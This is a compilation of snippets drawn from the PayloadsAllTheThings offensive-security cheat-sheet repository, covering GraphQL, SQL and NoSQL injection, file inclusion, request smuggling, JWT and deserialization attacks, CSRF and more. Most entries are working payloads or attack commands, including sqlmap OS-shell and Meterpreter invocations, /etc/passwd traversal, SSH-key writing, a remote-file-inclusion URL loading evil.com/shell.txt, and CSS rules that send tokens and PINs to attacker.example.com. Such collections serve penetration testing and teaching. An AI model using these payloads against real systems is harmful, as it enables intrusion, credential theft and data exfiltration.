### GraphQL GET Request Examples Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/GraphQL Injection/README.md Examples of using GET requests to query GraphQL endpoints. ```js GET /graphql?query={yourQueryHere} GET /graphql?query={__schema{types{name}}} GET /graphiql?query={__schema{types{name}}} GET /graphql?query=query%20%7B%20user(id:%221%22)%20%7B%20id%20name%20%7D%20%7D ``` -------------------------------- ### Install and Run wsrepl Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Web Sockets/README.md Install the wsrepl tool via pip and execute it with a target URL and authentication plugin. ```ps1 pip install wsrepl wsrepl -u URL -P auth_plugin.py ``` -------------------------------- ### GraphQL POST Request Example Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/GraphQL Injection/README.md Example of a standard POST request to a GraphQL endpoint. ```js POST /graphql/v1 HTTP/1.1 Host: example.com Content-Type: application/json { "query": "query { user { id name } }" } ``` -------------------------------- ### LFI Path Traversal Example Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/README.md Example of accessing /etc/passwd using path traversal via the page parameter. ```powershell http://example.com/index.php?page=../../../etc/passwd ``` -------------------------------- ### Example machineKey configuration Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/API Key Leaks/IIS-Machine-Keys.md A sample machineKey configuration as provided in Microsoft documentation. ```xml ``` -------------------------------- ### Start ws-harness Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Web Sockets/README.md Launch the ws-harness tool to listen on a WebSocket endpoint using a specified message template. ```powershell python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt ``` -------------------------------- ### CL.TE Vulnerability Example Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Request Smuggling/README.md An example of a CL.TE request targeting domain.example.com. ```powershell POST / HTTP/1.1 Host: domain.example.com Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 G ``` -------------------------------- ### Get Meterpreter Shell with SQLmap Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md Uses the --os-pwn flag to attempt to establish a Meterpreter session. ```ps1 sqlmap -u "http://example.com/?id=1" -p id --os-pwn ``` -------------------------------- ### Install vulnerable PyJWT version Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/JSON Web Token/README.md Install the specific version of PyJWT required to perform the key confusion attack. ```bash pip install pyjwt==0.4.3 ``` -------------------------------- ### MSSQL Blind Substring examples Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MSSQL Injection.md Examples of using SUBSTRING and related functions for blind data extraction. ```sql AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97 AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A' AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90 ``` -------------------------------- ### Get OS Shell with SQLmap Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md Attempts to gain an interactive operating system shell on the target server. ```ps1 sqlmap -u "http://example.com/?id=1" -p id --os-shell ``` -------------------------------- ### Get SQL Shell with SQLmap Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md Opens an interactive SQL shell on the target database. ```ps1 sqlmap -u "http://example.com/?id=1" -p id --sql-shell ``` -------------------------------- ### HTTP Parameter Pollution Request Examples Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/HTTP Parameter Pollution/README.md Examples of requests using duplicate parameters to test server-side behavior. ```ps1 /app?debug=false&debug=true /transfer?amount=1&amount=5000 ``` -------------------------------- ### Final HTTP Request Smuggling payload example Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Account Takeover/README.md An example of a final request structure using chunked transfer encoding to perform the smuggling attack. ```powershell GET / HTTP/1.1 Transfer-Encoding: chunked Host: something.com User-Agent: Smuggler/v1.0 Content-Length: 83 0 GET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1 X: X ``` -------------------------------- ### Hardcoded API Key Example Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/API Key Leaks/README.md Demonstrates an example of an API key directly hardcoded in Python source code. ```py # Example of hardcoded API key api_key = "1234567890abcdef" ``` -------------------------------- ### Execute Marshalsec Marshaller Payloads Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Deserialization/Java.md These commands show how to use the marshalsec tool to generate or test payloads for various marshallers. It includes examples for running specific gadgets and starting an LDAP reference server for JNDI exploitation. ```bash $ java -cp marshalsec.jar marshalsec. [-a] [-v] [-t] [ []] $ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc" $ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389 // -a - generates/tests all payloads for that marshaller // -t - runs in test mode, unmarshalling the generated payloads after generating them. // -v - verbose mode, e.g. also shows the generated payload in test mode. // gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller. // arguments - Gadget specific arguments ``` -------------------------------- ### psql Argument Injection Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Command Injection/README.md Example of injecting arguments into the psql command line. ```ps1 psql -o'|id>/tmp/foo' ``` -------------------------------- ### Turbo Intruder Example 1 Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Race Condition/README.md A basic template for Turbo Intruder to queue 30 requests and release them using a gate. Requires the x-request header to be set to %s. ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=30, pipeline=False ) for i in range(30): engine.queue(target.req, i) engine.queue(target.req, target.baseInput, gate='race1') engine.start(timeout=5) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` -------------------------------- ### SSRF URLs and Commands for Docker Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Request Forgery/SSRF-Cloud-Instances.md These examples target the Docker Engine API via network or Unix socket. ```bash http://127.0.0.1:2375/v1.24/containers/json Simple example docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json ``` -------------------------------- ### TE.CL Vulnerability Example Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Request Smuggling/README.md An example of a TE.CL request. Ensure 'Update Content-Length' is unchecked in Burp Repeater and include the trailing sequence \r\n\r\n after the final 0. ```powershell POST / HTTP/1.1 Host: domain.example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Content-Length: 4 Connection: close Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0 ``` -------------------------------- ### X-Forwarded-For Header Example Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Reverse Proxy Misconfigurations/README.md Example of an X-Forwarded-For header containing a chain of IP addresses. ```ps1 X-Forwarded-For: 2.21.213.225, 104.16.148.244, 184.25.37.3 ``` -------------------------------- ### Example .git/logs/HEAD content Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Source Code Management/Git.md This shows the structure of the .git/logs/HEAD file, which contains commit history and references. ```powershell 0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git 15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael 1489390329 +0000 commit: Initial. 26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael 1489390330 +0000 commit: Whoops! Remove flag. 6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael 1489390332 +0000 commit: Prevent directory listing. ``` -------------------------------- ### Joomla! Component Web TV 1.0 CVE-2010-1470 Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/README.md Exploitation example for Joomla! Component Web TV 1.0 using a null byte. ```ps1 {{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00 ``` -------------------------------- ### PHP php://filter usage examples Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/Wrappers.md Examples of using php://filter to read and encode files via URL parameters. The wrapper is case-insensitive. ```powershell http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` -------------------------------- ### Get SSH Shell with SQLmap Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md Writes an SSH public key to the target server to facilitate SSH access. ```ps1 sqlmap -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/ ``` -------------------------------- ### Chrome Argument Injection Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Command Injection/README.md Example of injecting arguments into the Chrome command line. ```ps1 chrome '--gpu-launcher="id>/tmp/foo"' ``` -------------------------------- ### Reverse Proxy URL Implementation Traversal Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Directory Traversal/README.md Example of using Nginx/Tomcat path traversal differences. ```powershell ..;// ``` -------------------------------- ### Cassandra Login Bypass Example 2 Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/Cassandra Injection.md An example of a login bypass payload using comment syntax to manipulate the query structure. ```sql username: admin'/* password: */and pass>' ``` ```sql SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING; ``` -------------------------------- ### Basic Command Execution Output Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Command Injection/README.md Example output of the cat command used to read the /etc/passwd file. ```powershell cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh ... ``` -------------------------------- ### Inspect and attack version 1 GUIDs with guidtool Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Randomness/README.md Use guidtool to inspect a version 1 GUID and to perform operations with specific timestamps and clock sequences. ```ps1 $ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00 UUID version: 1 UUID time: 2022-04-13 08:06:13.202186 UUID timestamp: 138691299732021860 UUID node: 91754721024 UUID MAC address: 00:15:5d:01:ef:00 UUID clock sequence: 2099 $ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000 ``` -------------------------------- ### Out of Band XPath exploitation Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/XPATH Injection/README.md Example of using doc() to perform out-of-band exploitation. ```powershell http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE') ``` -------------------------------- ### MySQL Blind SQL Injection with Conditional Sleep (False) Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MySQL Injection.md A false condition example using IF and sleep to test if the MySQL version starts with 4. ```sql 2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2 Response: HTTP/1.1 200 OK ``` -------------------------------- ### MySQL Blind SQL Injection with Conditional Sleep (True) Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MySQL Injection.md A true condition example using IF and sleep to confirm the MySQL version starts with 5. ```sql 2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 Response: HTTP/1.1 500 Internal Server Error ``` -------------------------------- ### IE8 XSS Filter Evasion via Parameter Injection Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Clickjacking/README.md An example of an attacker inducing a false positive in the IE8 XSS filter by injecting the start of a frame busting script into a request parameter. ```html ``` -------------------------------- ### Apache VirtualHost configuration Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Virtual Hosts/README.md Example configuration for an Apache web server hosting multiple sites on the same IP address using different ServerNames. ```ps1 ServerName site-a.com DocumentRoot /var/www/a ServerName site-b.com DocumentRoot /var/www/b ``` -------------------------------- ### Bypass Whitelist Domain Filter Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Open Redirect/README.md Example of using a whitelisted domain to redirect to an external malicious site. ```powershell www.whitelisted.com.evil.com redirect to evil.com ``` -------------------------------- ### Configure SOCKS5 Proxy for SQLmap Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md Syntax for using a SOCKS5 proxy with optional authentication. ```ps1 --proxy="socks5://[username]:[password]@[proxy_ip]:[proxy_port]" --proxy="socks5://user:pass@127.0.0.1:1080" ``` -------------------------------- ### JWKS File Structure Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/JSON Web Token/README.md Example of a JSON Web Key Set (JWKS) file structure used for jku header injection attacks. ```json { "keys": [ { "kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54", "kty": "RSA", "e": "AQAB", "n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ" } ] } ``` -------------------------------- ### Enumerate methods and backup with gwtmap.py Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Google Web Toolkit/README.md Enumerate the methods of a remote application via its bootstrap file and create a local backup of the code. ```ps1 ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup ``` -------------------------------- ### JSON GET Simple Request Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Cross-Site Request Forgery/README.md Uses XMLHttpRequest to perform a simple GET request. ```html ``` -------------------------------- ### Executing XSS via redirect_uri Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/OAuth Misconfiguration/README.md This example demonstrates injecting a script into the redirect_uri parameter of an OAuth authorization request. ```powershell https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state= ``` -------------------------------- ### Configure HTTP Proxy for SQLmap Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md Syntax for using an HTTP proxy with optional authentication. ```ps1 --proxy="http://[username]:[password]@[proxy_ip]:[proxy_port]" --proxy="http://user:pass@127.0.0.1:8080" ``` -------------------------------- ### Cassandra Login Bypass Example 1 Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/Cassandra Injection.md An example of a login bypass payload using ALLOW FILTERING and a null byte. ```sql username: admin' ALLOW FILTERING; %00 password: ANY ``` -------------------------------- ### Routed SQL Injection Example 1 Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/README.md Uses a hex-encoded string representing ' union select 1,2# to perform a routed injection. ```sql ' union select 0x2720756e696f6e2073656c65637420312c3223# ``` -------------------------------- ### Act as a Fullstack Software Developer prompt Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Prompt Injection/README.md Instructs the model to act as a software developer to design a secure web application architecture using Golang and Angular. ```ps1 I want you to act as a software developer. I will provide some specific information about a web app requirements, and it will be your job to come up with an architecture and code for developing secure app with Golang and Angular. My first request is 'I want a system that allow users to register and save their vehicle information according to their roles and there will be admin, user and company roles. I want the system to use JWT for security'. ``` -------------------------------- ### Django ORM basic query Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/ORM Leak/README.md A basic example of an ORM querying the database using dynamic keyword arguments. ```py users = User.objects.filter(**request.data) serializer = UserSerializer(users, many=True) ``` -------------------------------- ### Evil Regex Exploit Input Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Regular Expression/README.md An example input string used to trigger backtracking in vulnerable regular expressions. ```ps1 aaaaaaaaaaaaaaaaaaaa! ``` -------------------------------- ### Configure SOCKS4 Proxy for SQLmap Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md Syntax for using a SOCKS4 proxy with optional authentication. ```ps1 --proxy="socks4://[username]:[password]@[proxy_ip]:[proxy_port]" --proxy="socks4://user:pass@127.0.0.1:1080" ``` -------------------------------- ### Start Headless Chrome with Remote Debugging Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Headless Browser/README.md Launches Google Chrome in headless mode with the remote debugging port enabled on a specified port. ```bash google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html ``` -------------------------------- ### Encode and Decode JWT with pyjwt Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/JSON Web Token/README.md Use the pyjwt library to programmatically encode and decode JWT tokens. Requires installation via pip install pyjwt. ```python import jwt encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') jwt.decode(encoded, 'secret', algorithms=['HS256']) ``` -------------------------------- ### Create ZIP archive with symbolic link Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Zip Slip/README.md Demonstrates creating a symbolic link and packaging it into a ZIP archive using standard command-line tools. ```ps1 ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt ``` -------------------------------- ### Recover Git repositories with GoGitDumper Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Source Code Management/Git.md Install and use GoGitDumper to clone a remote .git repository, then inspect the history. ```powershell go get github.com/c-sto/gogitdumper gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/ git log git checkout ``` -------------------------------- ### Access database directly with --dump-all Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md SQLmap can connect directly to a database via its port using a connection string instead of a URL. ```ps1 sqlmap -d "mysql://user:pass@ip/database" --dump-all ``` -------------------------------- ### HTML GET Requiring User Interaction Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Cross-Site Request Forgery/README.md Uses an anchor tag to trigger a GET request when the user clicks the link. ```html Click Me ``` -------------------------------- ### Use Preprocess and Postprocess Scripts Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md Apply custom scripts to modify requests before sending or responses after receiving using the --preprocess and --postprocess flags. ```ps1 sqlmap -u 'http://example.com/vulnerable.php?id=1' --preprocess=preprocess.py --postprocess=postprocess.py ``` -------------------------------- ### Scan for secrets with truffleHog Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Source Code Management/Git.md Install and use truffleHog to search for high entropy strings and secrets in a Git repository. ```powershell pip install truffleHog truffleHog --regex --entropy=False https://github.com/trufflesecurity/trufflehog.git ``` -------------------------------- ### IPConfigure Orchid Core VMS Local File Inclusion Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Directory Traversal/README.md Example of using URL encoded traversal sequences to access sensitive files. ```ps1 {{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd ``` -------------------------------- ### HTML GET No User Interaction Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Cross-Site Request Forgery/README.md Uses an image tag to automatically trigger a GET request when the browser attempts to load the source. ```html ``` -------------------------------- ### ASP Server Default Extensions Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Upload Insecure Files/README.md List of ASP extensions, including specific versions for IIS. ```powershell .asp .aspx .config .cer # (IIS <= 7.5) .asa # (IIS <= 7.5) shell.aspx;1.jpg # (IIS < 7.0) shell.soap ``` -------------------------------- ### Authentication Bypass via HTTP Data Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/NoSQL Injection/README.md Examples of authentication bypass payloads using various operators in URL-encoded format. ```ps1 username[$ne]=toto&password[$ne]=toto login[$regex]=a.*&pass[$ne]=lol login[$gt]=admin&login[$lt]=test&pass[$ne]=1 login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto ``` -------------------------------- ### Routed SQL Injection Example 2 Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/README.md Uses a hex-encoded string representing -1' union select login,password from users-- a to perform a routed injection. ```sql -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a ``` -------------------------------- ### PHP Wide Byte Injection Vulnerability Example Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MySQL Injection.md A PHP example demonstrating how GBK encoding combined with addslashes-style filtering can be bypassed to perform SQL injection. ```php function check_addslashes($string) { $string = preg_replace('/'. preg_quote('\') .'/', "\\\\", $string); //escape any backslash $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash return $string; } $id=check_addslashes($_GET['id']); mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; print_r(mysql_error()); ``` -------------------------------- ### Implement X-Frame-Options Header Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Clickjacking/README.md Use the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent. ```apache Header always append X-Frame-Options SAMEORIGIN ``` -------------------------------- ### SAML Assertion Signature Stripping Example Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SAML Injection/README.md This example demonstrates a SAML assertion with NameID set to admin that lacks a signature. If the service provider is misconfigured to accept unsigned assertions, this can lead to authentication bypass. ```xml REDACTED REDACTED admin WLS_SP urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport ``` -------------------------------- ### Create a wsrepl Plugin Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Web Sockets/README.md Define a Python class inheriting from Plugin to hook into WebSocket lifecycle events like message sending and receiving. ```python from wsrepl import Plugin from wsrepl.WSMessage import WSMessage import json import requests class Demo(Plugin): def init(self): token = requests.get("https://example.com/uuid").json()["uuid"] self.messages = [ json.dumps({ "auth": "session", "sessionId": token }) ] async def on_message_sent(self, message: WSMessage) -> None: original = message.msg message.msg = json.dumps({ "type": "message", "data": { "text": original } }) message.short = original message.long = message.msg async def on_message_received(self, message: WSMessage) -> None: original = message.msg try: message.short = json.loads(original)["data"]["text"] except: message.short = "Error: could not parse message" message.long = original ``` -------------------------------- ### PHP Argument Injection with escapeshellarg Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Command Injection/README.md Example showing how fullwidth double quotes might bypass security filters when using escapeshellarg. ```php $url = "https://example.tld/" . $_GET['path'] . ".txt"; system("wget.exe -q " . escapeshellarg($url)); ``` -------------------------------- ### Run rip-bzr.pl with Docker Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Source Code Management/Bazaar.md Use the k0st/alpine-dvcs-ripper Docker image to execute rip-bzr.pl against a target URL. ```powershell docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u ``` -------------------------------- ### Bypass Blacklist Filter with Null Byte Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Open Redirect/README.md Uses a null byte '%00' to bypass blacklist filters. ```powershell //google%00.com ``` -------------------------------- ### Brute force virtual hosts with gobuster Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Virtual Hosts/README.md Use the gobuster vhost command to identify virtual hosts by brute-forcing against a target URL with a wordlist. ```ps1 gobuster vhost -u https://example.com -w /path/to/wordlist.txt ``` -------------------------------- ### Enumerate methods of a local file with gwtmap.py Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Google Web Toolkit/README.md Enumerate the methods of a local copy of any given permutation file. ```ps1 ./gwtmap.py -F test_data/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js ``` -------------------------------- ### JSON Version Response from Debugging Port Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Headless Browser/README.md Example output from the /json/version endpoint, providing browser details and the WebSocket debugger URL. ```json { "Browser": "Chrome/136.0.7103.113", "Protocol-Version": "1.3", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36", "V8-Version": "13.6.233.10", "WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)", "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87" } ``` -------------------------------- ### Configure Proxy for SQLmap Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md Routes SQLmap traffic through a specified proxy server. ```powershell sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080" sqlmap -u "http://www.target.com/page.php?id=1" --proxy="http://127.0.0.1:8080" --proxy-cred="user:pass" ``` -------------------------------- ### Example of a vulnerable redirect URL Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Open Redirect/README.md This URL demonstrates a web application feature that redirects users to a preferred site via a query parameter. An attacker can replace the destination URL to redirect users to a malicious site. ```ps1 https://example.com/redirect?url=https://userpreferredsite.com ``` -------------------------------- ### Terminate XPath query Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/XPATH Injection/README.md Example of terminating an XPath query using user-supplied input. ```ps1 string(//user[name/text()='" +vuln_var1+ "' and password/text()='" +vuln_var1+ "']/account/text()) ``` -------------------------------- ### Enumerate methods through proxy with gwtmap.py Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Google Web Toolkit/README.md Enumerate the methods of a remote application while routing traffic through an HTTP proxy. ```ps1 ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup -p http://127.0.0.1:8080 ``` -------------------------------- ### JWT Payload Structure Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/JSON Web Token/README.md Example of a JSON Web Token payload containing standard and custom claims. ```json { "sub":"1234567890", "name":"Amazing Haxx0r", "exp":"1466270722", "admin":true } ``` -------------------------------- ### Run ffuf with proxychains Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Brute Force Rate Limit/README.md Use proxychains to route ffuf requests through proxies to simulate multiple clients. ```bash proxychains ffuf -w wordlist.txt -u https://target.tld/FUZZ ``` -------------------------------- ### IDOR Parameter Manipulation Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Direct Object References/README.md An example of how an attacker might modify a URL parameter to access unauthorized resources. ```ps1 https://example.com/profile?user_id=124 ``` -------------------------------- ### Exfiltrate data via background image selectors Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/CSS Injection/README.md These examples demonstrate how to trigger a network request to an attacker-controlled URL when a specific attribute value is matched by a CSS selector. ```css input[value^="TOKEN_012"] { background-image: url(http://attacker.example.com/?prefix=TOKEN_012); } ``` ```css input[name="pin"][value="1234"] { background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234); } ``` -------------------------------- ### Enumerate methods via specific permutation with gwtmap.py Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Google Web Toolkit/README.md Enumerate the methods of a remote application using a specific code permutation file. ```ps1 ./gwtmap.py -u http://10.10.10.10/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js ``` -------------------------------- ### Basic serialized data payload Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Deserialization/PHP.md An example of a basic serialized array structure. ```text a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";} ``` -------------------------------- ### Recover Database Version via Time-based Injection Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/README.md Use a conditional benchmark to infer the database version based on response time. ```sql http://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = '5', BENCHMARK(1000000, MD5(1)), 0) -- ``` -------------------------------- ### MongoDB Product Search Query Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/NoSQL Injection/README.md A standard product search query using user input. ```js db.products.find({ "price": userInput }) ``` -------------------------------- ### Deconstructed JWT with Embedded JWK Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/JSON Web Token/README.md Example of a JWT header containing an embedded JWK and the corresponding payload structure. ```json { "alg": "RS256", "typ": "JWT", "jwk": { "kty": "RSA", "kid": "jwt_tool", "use": "sig", "e": "AQAB", "n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw" } }. {"login":"admin"}. [Signed with new Private key; Public key injected] ``` -------------------------------- ### Basic Remote File Inclusion URL Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/README.md A standard example of an RFI payload targeting a vulnerable page parameter. ```powershell http://example.com/index.php?page=http://evil.com/shell.txt ``` -------------------------------- ### Basic GraphQL Query Full Syntax Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/GraphQL Injection/README.md The full syntax includes the query keyword, which is functionally equivalent to the shorthand version. ```js query { user { id name } } ``` -------------------------------- ### Discover origin host with hakoriginfinder Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Virtual Hosts/README.md Use hakoriginfinder to discover the origin host behind a reverse proxy, which can help bypass cloud WAFs. ```ps1 prips 93.184.216.0/24 | hakoriginfinder -h https://example.com:443/foo ``` -------------------------------- ### GraphQL Error Suggestion Response Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/GraphQL Injection/README.md Example of a GraphQL error message that suggests valid 